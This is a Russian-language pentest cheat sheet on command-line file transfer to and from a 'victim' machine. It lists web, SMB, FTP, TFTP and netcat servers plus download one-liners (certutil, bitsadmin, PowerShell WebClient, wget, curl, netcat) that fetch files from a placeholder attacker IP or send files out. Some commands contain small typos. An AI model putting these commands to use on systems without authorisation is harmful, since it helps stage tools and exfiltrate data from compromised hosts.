Передача файлов через консоль

Передача файлов через консоль

Сергей Зыбнев


При выполнении шагов перебора в ходе пентеста часто возникает необходимость передачи файлов на машину жертвы или с нее, например, для запуска пользовательских сценариев или дальнейшего анализа файлов на своей машине.

Существуют различные техники и инструменты, которые можно использовать для передачи файлов, и в зависимости от целевой операционной системы и установленного программного обеспечения они могут работать или не работать. Цель этой шпаргалки - предоставить исчерпывающий ресурс по передаче файлов с помощью интерфейсов командной строки.

Раздача файлов

Файлы можно размещать с помощью таких методов, как веб-серверы, FTP, SMB и т.д. В приведенной ниже шпаргалке представлены некоторые из наиболее распространенных методов, которые можно использовать для размещения файлов:


  • Python HTTP Server modulespython -m SimpleHTTPServer [PORT]\
python3 -m http.server [PORT]
  • Apache, требуется поместить файлы в /var/www/html/
service apache2 start; systemctl start apache2;
  • Nginx, требуется поместить файлы в /usr/share/nginx/html или /var/www/html
service nginx start; systemctl start nginx
  • PHP встроенный веб сервер
php -S 0.0.0.0:PORT
  • Netcat слушатель для обмена файлами
nc -q 0 -lvp 443 < file
  • Netcat для отправки файла
nc -nv IP 443 < file
  • Скрипт smbserver.py от Impacket имитирует SMB-сервер
impacket-smbserver share share_dir
  • Linux Samba, раздачу надо добавить в /etc/samba/smb.conf
service smbd start; systemctl start smbd
  • Для настройки FTP-серверов можно использовать такие службы, как pure-ftpd и proftpd
service pure-ftpd start; systemctl start pure-ftpd; service proftpd start; systemctl start proftpd
  • atftpd позвляет легко настроить TFTP сервер
atftpd –daemon –port 69 ftp_dir
  • Веб сервер Ruby использует библиотеку Web brick
ruby -rwebrick -e’WEBrick::HTTPServer.new(:Port => PORT, :DocumentRoot => Dir.pwd).start’
  • Простой http сервер на Ruby
ruby -run -e httpd . -p [PORT]
  • Perl Brick HTTP сервер
cpan HTTP::Server::Brick;
perl -MHTTP::Server::Brick -e ‘$s=HTTP::Server::Brick->new(port=>PORT); $s->mount(“/”=>{path=>”.”}); $s->start’
  • Microsoftg IIS Express
“C:\Program Files (x86)\IIS Express\iisexpress.exe” /path:C: /port:PORT


Получение файлов

Файлы можно загружать с помощью различных инструментов, таких как wget/curl FTP, SMB и т.д. В приведенной ниже шпаргалке представлены некоторые из наиболее распространенных методов, которые можно использовать для размещения файлов:

  • Wget поставляется предустановленным в большинстве дистрибутовов Linux
wget http://IP:PORT/file [-o output_file]
  • Curl поставляется предустановленным в большинстве дистрибутовов Linux и некоторых версиях Windows
curl http://IP:PORT /file -o output_fil
  • Certutil - это встроенный в Windows инструмент командной строки
certutil -urlcache -split -f “http://IP:PORT/file” output_file
  • Команда Powershell Invoke-WebRequest или класс System.Net.WebClient
powershell -c Invoke-WebRequest -Uri http://ip-addr:port/file -OutFile output_file;
powershell -c (New-Object Net.WebClient).DownloadFile(‘http://ip-addr:port/file’, ‘output_file’)
  • Инструмент командной строки Bitsadmin Windows
bitsadmin /transfer job /download /priority high http://IP/file output_file
  • Netcat для загрузки файлов из слушателя Netcat
nc -nv IP 443 > file
  • Слушатель Netcat для получения файлов
nc -q 0-lvp 443 > file
  • Команда Copy для загрузки файлов из общего ресурса SMB
copy \IP\SHARE\output_file
  • Утилита smbget для загрузки файлов из общего ресурса Samba
smbget smb://domain;user[:password@]server/share/path/file
  • Wget и FTP для загрузки файлов с FTP-сервера

Wget

wget ftp://user:password@IP_ADDR/path/file -o output_file

FTP

echo open 192.168.1.64 21> ftp.txt
echo anonymous>> ftp.txt
echo ftp@ftp.com>> ftp.txt
echo bin >> ftp.txt
echo get test.txt >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
tftp -i IP_ADDR {GET | PUT} filetftp
  • SCP - Secure File Copy SSH
scp /path/file username@IP:/path/file
scp username@IP_1:/path/file username@IP_2:/path/file
scp username@IP:/path/file /path/file 
  • Функция PHP file_put_contents
php -r “file_put_contents(‘output_file’, fopen(‘http://ip-addr:port/file’, ‘r’));”
  • Функция Python urlretrieve, которая является частью библиотеки urllib, может быть использована для загрузки файлов
python -c ‘from urllib import urlretrieve; urlretrieve(“http://ip-addr:port/file”, “output_file”)’;
python3 -c ‘from urllib.request import urlretrieve; urlretrieve(“http://ip-addr:port/file”, “output_file”)’
  • Библиотека WWW на языке Perl
perl -MLWP::Simple -e ‘getstore(“http://IP_ADDR/file”, “out_file”)’;
perl -e ‘use LWP::Simple; getstore(“http://IP_ADDR/file”, “out_file”)’
  • Библиотека Ruby Open-URI
ruby -e ‘require “open-uri”;File.open(“output_file”, “wb”) do |file|;URI.open(“http://ip-addr:port/file”).read;end’

Report Page